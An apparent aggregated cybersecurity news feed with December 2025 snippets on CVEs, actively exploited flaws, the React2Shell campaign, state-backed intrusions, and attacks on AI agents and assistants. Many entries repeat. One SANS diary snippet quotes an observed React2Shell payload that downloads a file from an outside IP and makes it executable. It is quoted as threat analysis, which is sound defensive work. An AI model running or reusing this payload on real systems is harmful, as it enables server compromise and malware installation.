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HPE OneView Flaw Rated CVSS 10.0 Allows Unauthenticated Remote Code Execution

Hewlett Packard Enterprise (HPE) has resolved a maximum-severity security flaw in OneView Software that, if successfully exploited, could result in remote code execution. The critical vulnerability, assigned the CVE identifier CVE-2025-37164, carries a CVSS score of 10.0. HPE OneView is an IT infrastructure management software that streamlines IT operations and controls all systems via a

Human-in-the-loop isn’t enough: New attack turns AI safeguards into exploits

Human-in-the-loop (HITL) safeguards that AI agents rely on can be subverted, allowing attackers to weaponize them to run malicious code, new research from CheckMarx shows. HITL dialogs are a safety backstop (a final “are you sure?”) that the agents run before executing sensitive actions like running code, modifying files, or touching system resources. Checkmarx researchers…

Cisco confirms zero-day exploitation of Secure Email products

Cisco has warned that a China-linked hacking group is actively exploiting a previously unknown vulnerability in its Secure Email appliances to gain persistent access, forcing affected organizations to consider disruptive rebuilds of critical security infrastructure while patches remain unavailable. Cisco Talos said the campaign has been active since at least late November, raising concerns for…

U.S. CISA adds Cisco, SonicWall, and ASUS flaws to its Known Exploited Vulnerabilities catalog

U.S. Cybersecurity and Infrastructure Security Agency (CISA) adds Cisco, SonicWall, and ASUS flaws to its Known Exploited Vulnerabilities catalog. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added Apple and Gladinet CentreStack and Triofox flaws to its Known Exploited Vulnerabilities (KEV) catalog. Below are the flaws added to the catalog: CVE-2025-20393 (CVSS score of 10.0) Cisco Multiple…

GhostPairing campaign abuses WhatsApp device linking to hijack accounts

Attackers abuse WhatsApp’s device-linking feature to hijack accounts via pairing codes in the GhostPairing campaign. Attackers are exploiting WhatsApp’s device-linking feature to hijack accounts using pairing codes in a campaign dubbed GhostPairing, without requiring authentication. Gen Digital first observed the GhostPairing campaign in Czechia, but warns that it can spread globally via compromised accounts. The…

CISA Flags Critical ASUS Live Update Flaw After Evidence of Active Exploitation

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Wednesday added a critical flaw impacting ASUS Live Update to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. The vulnerability, tracked as CVE-2025-59374 (CVSS score: 9.3), has been described as an “embedded malicious code vulnerability” introduced by means of a supply chain compromise

React2Shell fallout spreads to sensitive targets as public exploits hit all-time high

Fallout from React2Shell — a stubborn vulnerability that impacts wide swaths of the internet’s scaffolding — continues to spread as public exploits and stealth backdoors proliferate and worrying details emerge about the targets attackers are pursuing.  Threat researchers and incident responders are reacting to swift-moving developments on React2Shell with mounting concern. Cybercriminals, ransomware gangs and…

SonicWall warns of actively exploited flaw in SMA 100 AMC

SonicWall warned users to patch a SMA1000 AMC flaw that was exploited as a zero-day privilege escalation vulnerability in attacks. SonicWall urged customers to address a vulnerability, tracked as CVE-2025-40602, in the SMA1000 Appliance Management Console that was exploited as a zero-day in attacks in the wild. The flaw is a local privilege escalation issue…

Maybe a Little Bit More Interesting React2Shell Exploit, (Wed, Dec 17th)

I have already talked about various React2Shell exploit attempts we have observed in the last weeks. But new varieties of the exploit are popping up, and the most recent one is using this particular version of the exploit: POST /app HTTP/1.1 Host: 81.187.66.58 Content-Type: multipart/form-data; boundary=—-WebKitFormBoundary7MA4YWxkTrZu0gW Next-Action: 0 Rsc-Action: 0 Content-Length: 388 User-Agent: Mozilla/5.0 (Windows…

Maybe a Little Bit More Interesting React2Shell Exploit, (Wed, Dec 17th)

I have already talked about various React2Shell exploit attempts we have observed in the last weeks. But new varieties of the exploit are popping up, and the most recent one is using this particular version of the exploit: POST /app HTTP/1.1 Host: 81.187.66.58 Content-Type: multipart/form-data; boundary=—-WebKitFormBoundary7MA4YWxkTrZu0gW Next-Action: 0 Rsc-Action: 0 Content-Length: 388 User-Agent: Mozilla/5.0 (Windows…

WatchGuard Introduces Unified Zero Trust Bundle

WatchGuard Technologies, a provider of unified cybersecurity solutions, recently unveiled the WatchGuard Zero Trust Bundle solution to make zero trust achievable for organizations of all sizes. Simplifying zero trust through a unified approach The WatchGuard Zero Trust Bundle unifies identity, endpoint, access, and network tools into a simple, continuously validating, cloud-delivered framework. The Bundle builds…

JumpCloud agent turns uninstall into a system shortcut

JumpCloud’s Remote Assist for Windows agent contained a critical local privilege escalation flaw, allowing full system compromise. Disclosed by XM Cyber, the vulnerability stems from insecure file operations during uninstall or update flows that execute with Windows NT AUTHORITYSYSTEM privileges. The bug could allow a low-privileged local user to elevate themselves to full system control…

Russian state hackers targeted Western critical infrastructure for years, Amazon says

Amazon disclosed a years-long Russian state-backed cyber campaign targeting Western critical infrastructure from 2021 to 2025. Amazon Threat Intelligence reports a long-running Russian state-backed campaign (2021–2025) targeting Western critical infrastructure. Threat actors shifted from exploiting vulnerabilities to abusing misconfigured network edge devices, enabling credential theft and lateral movement with lower risk. The researchers linked the…

U.S. CISA adds a flaw in multiple Fortinet products to its Known Exploited Vulnerabilities catalog

U.S. CISA adds a vulnerability impacting multiple products to its Known Exploited Vulnerabilities catalog. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added Fortinet Multiple Products Improper Verification of Cryptographic Signature Vulnerability, tracked as CVE-2025-59718 (CVSS Score of 9.1), to its Known Exploited Vulnerabilities (KEV) catalog. Threat actors started exploiting two critical flaws, tracked as CVE-2025-59718 and CVE-2025-59719 (CVSS score of 9.1),…

FortiGate firewall credentials being stolen after vulnerabilities discovered

Threat actors aren’t wasting time taking advantage of newly-revealed vulnerabilities in Fortinet device authentication. Researchers at Arctic Wolf said they are seeing malicious single sign on (SSO) attempts trying to leverage the holes in FortiGate next generation firewalls since Fortinet alerted admins about the vulnerabilities on December 9. “We have seen tens of intrusions since…

Russian APT group pivots to network edge device misconfigurations

A Russian state-sponsored cyberespionage group has been targeting energy companies and critical infrastructure providers by exploiting misconfigurations in network-edge devices. The group has been operating since at least 2021 and has exploited device misconfigurations before but also known vulnerabilities such as CVE-2022-26318 in WatchGuard Firebox and XTM appliances, CVE-2021-26084 and CVE-2023-22518 in Confluence or CVE-2023-2753…

Illusory Systems settles with FTC over 2022 cryptocurrency hack

The Federal Trade Commission is ordering a company that publicly touted its cybersecurity capabilities to return recovered funds to victims and implement security reforms, after a software flaw let hackers steal hundreds of millions of dollars in cryptocurrencies from users. The FTC announced it had reached a settlement with Illusory Systems, which also does business…

Amazon warns that Russia’s Sandworm has shifted its tactics

Attackers associated with Russia’s Main Intelligence Directorate (GRU) have targeted Western-based critical infrastructure with a special focus on the energy sector as part of an ongoing campaign dating back to 2021, Amazon Threat Intelligence said in a report Monday.  The threat group simplified operations earlier this year by shifting away from vulnerability exploitation to focus…

Hackers are exploiting critical Fortinet flaws days after patch release

Threat actors are exploiting two critical Fortinet flaws, tracked as CVE-2025-59718 and CVE-2025-59719, days after patch release, impacting multiple Fortinet products. Threat actors started exploiting two critical flaws, tracked as CVE-2025-59718 and CVE-2025-59719 (CVSS score of 9.1), in Fortinet products days after patch release, Arctic Wolf warns. Last week, Fortinet addressed 18 vulnerabilities, including the two flaws…

Urban VPN beim Diebstahl privater KI-Chats erwischt

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Vectra AI Pushes Unified Control Model in Security Platform

Vectra AI is repositioning its platform around what it calls a unified “control” model for hybrid security, aiming to give security teams measurable command over attacks before, during, and after compromise as enterprise environments continue to fragment. Shifting from detection to continuous control The cybersecurity vendor announced this week that it has expanded the Vectra…

Fortinet FortiGate Under Active Attack Through SAML SSO Authentication Bypass

Threat actors have begun to exploit two newly disclosed security flaws in Fortinet FortiGate devices, less than a week after public disclosure. Cybersecurity company Arctic Wolf said it observed active intrusions involving malicious single sign-on (SSO) logins on FortiGate appliances on December 12, 2025. The attacks exploit two critical authentication bypasses (CVE-2025-59718 and CVE-2025-59719

Pornhub targeted in extortion attempt following Mixpanel breach exposing user activity

Hackers tied to ShinyHunters extort PornHub after stealing search and viewing history of Premium users in a Mixpanel data breach. PornHub faces extortion after hackers linked to ShinyHunters allegedly stole search and viewing history of Premium users via a Mixpanel data breach. Mixpanel is a product analytics platform that companies use to understand how people interact…

React2Shell Vulnerability Actively Exploited to Deploy Linux Backdoors

The security vulnerability known as React2Shell is being exploited by threat actors to deliver malware families like KSwapDoor and ZnDoor, according to findings from Palo Alto Networks Unit 42 and NTT Security. “KSwapDoor is a professionally engineered remote access tool designed with stealth in mind,” Justin Moore, senior manager of threat intel research at Palo…

How to create a ransomware playbook that works

Ransomware attacks continue to plague organizations, and they’re getting ever more sophisticated via tactics such as double- and multi-extortion and the use of artificial intelligence to create more refined attacks, and the growth of the ransomware-as-a-service model. CISOs and CSOs need to make it a priority to create a playbook for their organizations to better defend against…

What AWS Security learned from responding to recent npm supply chain threat campaigns

AWS incident response operates around the clock to protect our customers, the AWS Cloud, and the AWS global infrastructure. Through that work, we learn from a variety of issues and spot unique trends. Over the past few months, high-profile software supply chain threat campaigns involving third party software repositories have highlighted the importance of protecting…

What AWS Security learned from responding to recent npm supply chain threat campaigns

AWS incident response operates around the clock to protect our customers, the AWS Cloud, and the AWS global infrastructure. Through that work, we learn from a variety of issues and spot unique trends. Over the past few months, high-profile software supply chain threat campaigns involving third party software repositories have highlighted the importance of protecting…

What AWS Security learned from responding to recent npm supply chain threat campaigns

AWS incident response operates around the clock to protect our customers, the AWS Cloud, and the AWS global infrastructure. Through that work, we learn from a variety of issues and spot unique trends. Over the past few months, high-profile software supply chain threat campaigns involving third party software repositories have highlighted the importance of protecting…

Amazon Threat Intelligence identifies Russian cyber threat group targeting Western critical infrastructure

As we conclude 2025, Amazon Threat Intelligence is sharing insights about a years-long Russian state-sponsored campaign that represents a significant evolution in critical infrastructure targeting: a tactical pivot where what appear to be misconfigured customer network edge devices became the primary initial access vector, while vulnerability exploitation activity declined. This tactical adaptation enables the same…

U.S. CISA adds Apple and Gladinet CentreStack and Triofox flaws to its Known Exploited Vulnerabilities catalog

U.S. Cybersecurity and Infrastructure Security Agency (CISA) adds Apple and Gladinet CentreStack and Triofox flaws to its Known Exploited Vulnerabilities catalog. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added Apple and Gladinet CentreStack and Triofox flaws to its Known Exploited Vulnerabilities (KEV) catalog. Below are the flaws added to the catalog: CVE-2025-43529 – Apple Multiple…

More React2Shell Exploits CVE-2025-55182, (Mon, Dec 15th)

Exploits for React2Shell (CVE-2025-55182) remain active. However, at this point, I would think that any servers vulnerable to the “plain” exploit attempts have already been exploited several times. Here is today’s most popular exploit payload: ——WebKitFormBoundaryxtherespoopalloverme Content-Disposition: form-data; name=”0″ {“then”:”$1:__proto__:then”,”status”:”resolved_model”,”reason”:-1,”value”:”{“then”:”$B1337″}”,”_response”:{“_prefix”:”process.mainModule.require(‘http’).get(‘http://51.81.104.115/nuts/poop’,r=>r.pipe(process.mainModule.require(‘fs’).createWriteStream(‘/dev/shm/lrt’).on(‘finish’,()=>process.mainModule.require(‘fs’).chmodSync(‘/dev/shm/lrt’,0o755))));”,”_formData”:{“get”:”$1:constructor:constructor”}}} ——WebKitFormBoundaryxtherespoopalloverme Content-Disposition: form-data; name=”1″ “$@0” ——WebKitFormBoundaryxtherespoopalloverme ——WebKitFormBoundaryxtherespoopalloverme– To make the key components more readable: process.mainModule.require(‘http’).get(‘http://51.81.104.115/nuts/poop’,…

CISA orders immediate patching as GeoServer flaw faces active exploitation

CISA is sounding the alarm over a critical vulnerability in GeoServer that is being actively exploited in the wild, ordering federal agencies to patch immediately. The flaw, tracked as CVE-2025-58360, is an unauthenticated XML External Entity (XXE) vulnerability affecting GeoServer versions 2.26.1 and earlier. When exploited, the bug lets attackers retrieve arbitrary files from vulnerable…

CERT-FR recommends completely deactivate Wi-Fi whenever it’s not in use

The CERT-FR (French Computer Emergency Response Team) is advising iPhone and Android users to fully disable Wi-Fi to reduce risk. CERT-FR warns iPhone and Android users to fully disable Wi-Fi to reduce exposure, citing multiple vulnerabilities across wireless interfaces, apps, OSs, and even hardware. The agency reiterates basic hygiene: install apps only from official stores, review…

SECURITY AFFAIRS MALWARE NEWSLETTER ROUND 75

Security Affairs Malware newsletter includes a collection of the best articles and research on malware in the international landscape Malware Newsletter UDPGangster Campaigns Target Multiple Countries Ransomware Trends in Bank Secrecy Act Data Between 2022 and 2024  Return of ClayRat: Expanded Features and Techniques  SEEDSNATCHER : Dissecting an Android Malware Targeting Multiple Crypto Wallet Mnemonic…

Security Affairs newsletter Round 554 by Pierluigi Paganini – INTERNATIONAL EDITION

A new round of the weekly Security Affairs newsletter has arrived! Every week, the best security articles from Security Affairs are free in your email box. Enjoy a new round of the weekly SecurityAffairs newsletter, including the international press. Experts found an unsecured 16TB database containing 4.3B professional records Germany calls in Russian Ambassador over…

CISA Adds Actively Exploited Sierra Wireless Router Flaw Enabling RCE Attacks

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Friday added a high-severity flaw impacting Sierra Wireless AirLink ALEOS routers to its Known Exploited Vulnerabilities (KEV) catalog, following reports of active exploitation in the wild. CVE-2018-4063 (CVSS score: 8.8/9.9) refers to an unrestricted file upload vulnerability that could be exploited to achieve remote code

U.S. CISA adds Google Chromium and Sierra Wireless AirLink ALEOS flaws to its Known Exploited Vulnerabilities catalog

U.S. Cybersecurity and Infrastructure Security Agency (CISA) adds Google Chromium and Sierra Wireless AirLink ALEOS flaws to its Known Exploited Vulnerabilities catalog. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added [1, 2] Microsoft Windows and WinRAR flaws to its Known Exploited Vulnerabilities (KEV) catalog. Below are the flaws added to the catalog: CVE-2025-14174 Google Chromium Out-of-Bounds…

Microsoft flips security script: ‘In scope by default’ makes all vulnerabilities fair game for bug bounties

Today’s AI-enabled attackers are agnostic: They’re not limiting themselves to specific companies, products, or services — they’re going where the vulnerabilities are. To meet them on this ground, Microsoft is pivoting its cybersecurity strategy to what it calls ‘In Scope by Default.’ Now, any “critical vulnerability” with a “demonstrable impact” on Microsoft’s online services is…

Emergency fixes deployed by Google and Apple after targeted attacks

Google and Apple issued emergency updates to address zero-day flaws exploited in attacks targeting an unknown number of users. Apple and Google have both pushed out urgent security updates after uncovering a highly targeted attacks against an unknown number of users. The attacks abused zero‑day vulnerabilities in their software. The campaign appears to involve nation-state…

Gladinet servers file-sharing servers allow remote code execution

Enterprises relying on Gladinet’s file-sharing services are faced with another round of zero-day patching, this time to block attackers from abusing cryptographic keys directly baked into its CentreStack and Triofox platforms. Cybersecurity firm Huntress warned that attackers are already abusing the hardcoded keys to perform remote code execution (RCE) on the affected servers. “The AES…

What Is CEO Fraud? Definition, Examples and Prevention

CEO fraud, also known as whaling, is a sophisticated form of phishing in that targets an organisation’s senior employees. More than 400 businesses are targeted by CEO fraud each day, with losses totalling over $3 billion (£2.24 billion) since October 2013. Although the name suggests that it’s exclusively CEOs who are targeted, this is an oversimplification.…

U.S. CISA adds an OSGeo GeoServer flaw to its Known Exploited Vulnerabilities catalog

U.S. Cybersecurity and Infrastructure Security Agency (CISA) adds an OSGeo GeoServer flaw to its Known Exploited Vulnerabilities catalog. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added an OSGeo GeoServer flaw, tracked as CVE-2025-58360 (CVSS Score of 8.2), to its Known Exploited Vulnerabilities (KEV) catalog. GeoServer is an open-source server that allows users to share and edit geospatial…

U.S. CISA adds an OSGeo GeoServer flaw to its Known Exploited Vulnerabilities catalog

U.S. Cybersecurity and Infrastructure Security Agency (CISA) adds an OSGeo GeoServer flaw to its Known Exploited Vulnerabilities catalog. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added an OSGeo GeoServer flaw, tracked as CVE-2025-58360 (CVSS Score of 8.2), to its Known Exploited Vulnerabilities (KEV) catalog. GeoServer is an open-source server that allows users to share and edit geospatial…

React2Shell Exploitation Escalates into Large-Scale Global Attacks, Forcing Emergency Mitigation

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has urged federal agencies to patch the recent React2Shell vulnerability by December 12, 2025, amid reports of widespread exploitation. The critical vulnerability, tracked as CVE-2025-55182 (CVSS score: 10.0), affects the React Server Components (RSC) Flight protocol. The underlying cause of the issue is an unsafe deserialization

CISA Flags Actively Exploited GeoServer XXE Flaw in Updated KEV Catalog

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Thursday added a high-severity security flaw impacting OSGeo GeoServer to its Known Exploited Vulnerabilities (KEV) catalog, based on evidence of active exploitation in the wild. The vulnerability in question is CVE-2025-58360 (CVSS score: 8.2), an unauthenticated XML External Entity (XXE) flaw that affects all versions prior…

OpenAI expands ‘defense in depth’ security to stop hackers using its AI models to launch cyberattacks

OpenAI is preparing for the possibility that threat groups will try to abuse its increasingly powerful AI frontier models to carry out sophisticated cyberattacks. In a blog, the company describes how the evolving capabilities of its models could be used to “develop working zero-day remote exploits against well-defended systems, or meaningfully assist with complex, stealthy…

Critical Gogs zero-day under attack, 700 servers hacked

Hackers exploited an unpatched Gogs zero-day, allowing remote code execution and compromising around 700 Internet-facing servers. Gogs is a self-hosted Git service, similar to GitHub, GitLab, or Bitbucket, but designed to be lightweight and easy to deploy. It allows individuals or organizations to host their own Git repositories on their servers, offering features like version…

GeminiJack zero-click flaw in Gemini Enterprise allowed corporate data exfiltration

Google fixed GeminiJack, a zero-click Gemini Enterprise flaw that could leak corporate data via crafted emails, invites, or documents, Noma Security says. Google addressed a Gemini Enterprise flaw dubbed GeminiJack, which can be exploited in zero-click attacks triggered via crafted emails, invites, or documents. The vulnerability could have exposed sensitive corporate data, according to Noma…

SAML authentication broken almost beyond repair

Researchers have uncovered fresh techniques for breaking SAML-based authentication, further undermining the security assurances offered by the aging by still widely used authentication protocol. SAML (Security Assertion Markup Language) has been the backbone of enterprise single sign-on (SSO) technologies for more than 20 years. During a presentation at the Black Hat Europe conference on Wednesday,…

Google fixed a new actively exploited Chrome zero-day

Google addressed three vulnerabilities in the Chrome browser, including a high-severity bug already exploited in the wild. Google released security updates to fix three vulnerabilities in the Chrome browser, including a high-severity flaw that threat actors are already exploiting in real-world attacks. “Google is aware that an exploit for 466192044 exists in the wild,” reads…

A Guide to Meeting the DORA Penetration Testing Requirements

Security programmes often look great on paper. But, post implementation, have you confirmed that: You’ve chosen the right measures? You’ve implemented them effectively? As your risks change with time, your defences remain effective? Security or penetration testing can provide valuable insights. DORA: digital operational resilience testing ‘Digital operational resilience testing’ is a DORA (Digital Operational Resilience Act) pillar –…

2026 API and AI Security Predictions: What Experts Expect in the Year Ahead

This is a predictions blog. We know, we know; everyone does them, and they can get a bit same-y. Chances are, you’re already bored with reading them. So, we’ve decided to do things a little bit differently this year.  Instead of bombarding you with just our own predictions, we’ve decided to cast the net far…

2026 API and AI Security Predictions: What Experts Expect in the Year Ahead

This is a predictions blog. We know, we know; everyone does them, and they can get a bit same-y. Chances are, you’re already bored with reading them. So, we’ve decided to do things a little bit differently this year.  Instead of bombarding you with just our own predictions, we’ve decided to cast the net far…

2026 API and AI Security Predictions: What Experts Expect in the Year Ahead

This is a predictions blog. We know, we know; everyone does them, and they can get a bit same-y. Chances are, you’re already bored with reading them. So, we’ve decided to do things a little bit differently this year.  Instead of bombarding you with just our own predictions, we’ve decided to cast the net far…

2026 API and AI Security Predictions: What Experts Expect in the Year Ahead

This is a predictions blog. We know, we know; everyone does them, and they can get a bit same-y. Chances are, you’re already bored with reading them. So, we’ve decided to do things a little bit differently this year.  Instead of bombarding you with just our own predictions, we’ve decided to cast the net far…

2026 API and AI Security Predictions: What Experts Expect in the Year Ahead

This is a predictions blog. We know, we know; everyone does them, and they can get a bit same-y. Chances are, you’re already bored with reading them. So, we’ve decided to do things a little bit differently this year.  Instead of bombarding you with just our own predictions, we’ve decided to cast the net far…

2026 API and AI Security Predictions: What Experts Expect in the Year Ahead

This is a predictions blog. We know, we know; everyone does them, and they can get a bit same-y. Chances are, you’re already bored with reading them. So, we’ve decided to do things a little bit differently this year.  Instead of bombarding you with just our own predictions, we’ve decided to cast the net far…

2026 API and AI Security Predictions: What Experts Expect in the Year Ahead

This is a predictions blog. We know, we know; everyone does them, and they can get a bit same-y. Chances are, you’re already bored with reading them. So, we’ve decided to do things a little bit differently this year.  Instead of bombarding you with just our own predictions, we’ve decided to cast the net far…

2026 API and AI Security Predictions: What Experts Expect in the Year Ahead

This is a predictions blog. We know, we know; everyone does them, and they can get a bit same-y. Chances are, you’re already bored with reading them. So, we’ve decided to do things a little bit differently this year.  Instead of bombarding you with just our own predictions, we’ve decided to cast the net far…

2026 API and AI Security Predictions: What Experts Expect in the Year Ahead

This is a predictions blog. We know, we know; everyone does them, and they can get a bit same-y. Chances are, you’re already bored with reading them. So, we’ve decided to do things a little bit differently this year.  Instead of bombarding you with just our own predictions, we’ve decided to cast the net far…

Ivantis EPM-Systeme anfällig für Angriffe

Unternehmen sollten ihre EPM-Systeme von Ivanti so bald wie möglich patchen, da dort schwerwiegende Sicherheitslücken entdeckt wurden. ImageFlow – shutterstock.com Ivanti hat kürzlich einen schwerwiegenden Fehler in seinen EMP-Systemen gemeldet, der Admin-Sitzungen ohne Authentifizierung erlaubt. Angreifer könnten dadurch möglicherweise Tausende von Unternehmensgeräten kontrollieren. Der Software-Anbieter veröffentlichte die EPM-Version 2024 SU4 SR1, um mehrere Schwachstellen zu…

Chrome Targeted by Active In-the-Wild Exploit Tied to Undisclosed High-Severity Flaw

Google on Wednesday shipped security updates for its Chrome browser to address three security flaws, including one it said has come under active exploitation in the wild. The vulnerability, rated high in severity, is being tracked under the Chromium issue tracker ID “466192044.” Unlike other disclosures, Google has opted to keep information about the CVE…

Active Attacks Exploit Gladinet’s Hard-Coded Keys for Unauthorized Access and Code Execution

Huntress is warning of a new actively exploited vulnerability in Gladinet’s CentreStack and Triofox products stemming from the use of hard-coded cryptographic keys that have affected nine organizations so far. “Threat actors can potentially abuse this as a way to access the web.config file, opening the door for deserialization and remote code execution,” security researcher…

Grok the stalker, the Louvre heist, and Microsoft 365 mayhem

On this week’s show we learn that AI really can be a stalker’s best friend, as we explore a strange tale that starts with a manatee-shaped mailbox on a millionaire’s lawn and ends with Grok happily doxxing real people, mapping out stalking “strategies,” and handing out revenge-porn tips. Then we go inside the Louvre heist,…

Hidden .NET HTTP proxy behavior can open RCE flaws in apps — a security issue Microsoft won’t fix

Researchers uncovered an unexpected behavior of HTTP client proxies when created in .NET code, potentially allowing attackers to write malicious code to arbitrary files. This in turn can open remote code execution (RCE) attack paths through web shells and malicious PowerShell scripts in many .NET applications, including commercial products. Microsoft does not plan to fix…

Smashing Security podcast #447: Grok the stalker, the Louvre heist, and Microsoft 365 mayhem

On this week’s show we learn that AI really can be a stalker’s best friend, as we explore a strange tale that starts with a manatee-shaped mailbox on a millionaire’s lawn and ends with Grok happily doxxing real people, mapping out stalking “strategies,” and handing out revenge-porn tips. Then we go inside the Louvre heist,…

Attacks pinned to critical React2Shell defect surge, surpass 50 confirmed victims

Security experts have observed a steady increase in malicious activity from a widening pool of attackers seeking to exploit React2Shell, a critical vulnerability disclosed last week in React Server Components. Authorities are also responding to heightened concern about the defect, with the Cybersecurity and Infrastructure Security Agency shortening the deadline for agencies to patch the…

Fortinet fixed two critical authentication-bypass vulnerabilities

Fortinet patched 18 flaws, including two authentication-bypass bugs affecting FortiOS, FortiWeb, FortiProxy, and FortiSwitchManager with FortiCloud SSO enabled. Fortinet addressed 18 vulnerabilities, including two authentication-bypass flaws, tracked as CVE-2025-59718 and CVE-2025-59719 (CVSS score of 9.1), affecting FortiOS, FortiWeb, FortiProxy, and FortiSwitchManager when FortiCloud SSO is enabled. Both vulnerabilities are improper verification of cryptographic signature issues.…

React2Shell Exploitation Delivers Crypto Miners and New Malware Across Multiple Sectors

React2Shell continues to witness heavy exploitation, with threat actors leveraging the maximum-severity security flaw in React Server Components (RSC) to deliver cryptocurrency miners and an array of previously undocumented malware families, according to new findings from Huntress. This includes a Linux backdoor called PeerBlight, a reverse proxy tunnel named CowTunnel, and a Go-based

.NET SOAPwn Flaw Opens Door for File Writes and Remote Code Execution via Rogue WSDL

New research has uncovered exploitation primitives in the .NET Framework that could be leveraged against enterprise-grade applications to achieve remote code execution. WatchTowr Labs, which has codenamed the “invalid cast vulnerability” SOAPwn, said the issue impacts Barracuda Service Center RMM, Ivanti Endpoint Manager (EPM), and Umbraco 8. But the number of affected vendors is likely…

Hundreds of Ivanti EPM systems exposed online as critical flaw patched

Ivanti has patched a critical vulnerability in Endpoint Manager that enables attackers to hijack administrator sessions without authentication and potentially control thousands of enterprise devices. The company released EPM version 2024 SU4 SR1 to address four vulnerabilities, including the critical flaw tracked as CVE-2025-10573, which carries a CVSS score of 9.6. Three additional high-severity flaws…

Possible exploit variant for CVE-2024-9042 (Kubernetes OS Command Injection), (Wed, Dec 10th)

Last year, Kubernetes fixed a command injection vulnerability in the Kubernetes NodeLogQuery feature (%%cve:2024-9042%%) [1]. To exploit the vulnerability, several conditions had to be met: The vulnerable node had to run Windows The attacker had to have permissions to read logs The NogeLogQuery feature had to be enabled (at least at the time, it was…

Behind the breaches: Case studies that reveal adversary motives and modus operandi

In today’s threat landscape, it’s no longer enough to focus solely on malware signatures and IP addresses. Defenders must understand how adversaries think, organize and operate, because attacker intent and methodology are now just as critical as technical artifacts. Recent developments have provided rare visibility into the internal processes of modern threat groups, how they…

New EtherRAT backdoor surfaces in React2Shell attacks tied to North Korea

NK-linked hackers are likely exploiting the React2Shell flaw to deploy a newly discovered remote access trojan, dubbed EtherRAT. North Korea–linked threat actors are likely exploiting the new critical React2Shell flaw (CVE-2025-55182) to deploy a previously unknown remote access trojan called EtherRAT, Sysdig researchers warn. The vulnerability CVE-2025-55182, is a pre-authentication remote code execution issue in React…

KI-Browser gefährden Unternehmen

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